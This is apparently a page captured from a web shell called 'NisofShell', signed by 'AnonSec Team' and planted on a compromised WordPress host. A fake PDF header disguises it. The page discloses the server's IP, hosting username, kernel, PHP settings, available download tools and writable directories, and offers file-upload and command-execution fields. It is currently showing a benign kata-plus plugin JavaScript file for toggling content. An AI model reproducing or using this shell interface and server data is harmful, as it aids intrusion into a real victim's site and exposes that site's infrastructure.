%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/www/wp-content/plugins/kata-plus/assets/src/js/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/www/wp-content/plugins/kata-plus/assets/src/js/frontend/content-toggle.js
( function ( $ ) {
	/**
	 * @param $scope The Widget wrapper element as a jQuery element
	 * @param $ The jQuery alias
	 */
	var WidgetContentToggleHandler = function ( $scope, $ ) {
		$( document ).keydown( function ( e ) {
			var code = e.keyCode || e.which;
			if ( code == 27 ) {
				$( '.kata-plus-content-toggle-content-wrap' ).each(
					function ( index, element ) {
						if ( $( this ).css( 'display' ) == 'block' ) {
							$( this ).fadeOut();
						}
					}
				);
			}
		} );
		$scope
			.find( '.kata-plus-content-toggle-click' )
			.on( 'click', function ( e ) {
				e.preventDefault();
				var $this = $( this ),
					$wrap = $this.closest( '.kata-plus-content-toggle' ),
					$content_wrap = $wrap.find(
						'.kata-plus-content-toggle-content-wrap'
					);
				$( '.kata-plus-content-toggle-content-wrap' ).each(
					function ( index, element ) {
						if ( $( this ).css( 'display' ) == 'block' ) {
							$( this ).fadeOut();
						}
					}
				);
				if ( $content_wrap.css( 'display' ) == 'none' ) {
					$content_wrap.fadeIn();
					$wrap
						.find( '.kata-plus-content-toggle-click' )
						.addClass( 'active' );
				} else {
					$content_wrap.fadeOut();
					$wrap
						.find( '.kata-plus-content-toggle-click' )
						.removeClass( 'active' );
				}
			} );

		$( '.kata-plus-content-toggle-close' ).on( 'click', function ( e ) {
			$( this )
				.closest( '.kata-plus-content-toggle' )
				.find( '.kata-plus-content-toggle-click' )
				.removeClass( 'active' )
				.siblings( '.kata-plus-content-toggle-content-wrap' )
				.fadeOut();
		} );

		$( document ).click( function ( evt ) {
			if (
				$( evt.target ).closest( '.kata-plus-content-toggle' )
					.length === 0
			) {
				$( document )
					.find( '.kata-plus-content-toggle-content-wrap' )
					.fadeOut();
			}
		} );
	};
	// Make sure you run this code under Elementor.
	$( window ).on( 'elementor/frontend/init', function () {
		elementorFrontend.hooks.addAction(
			'frontend/element_ready/kata-plus-content-toggle.default',
			WidgetContentToggleHandler
		);
	} );
} )( jQuery );

Anon7 - 2022
AnonSec Team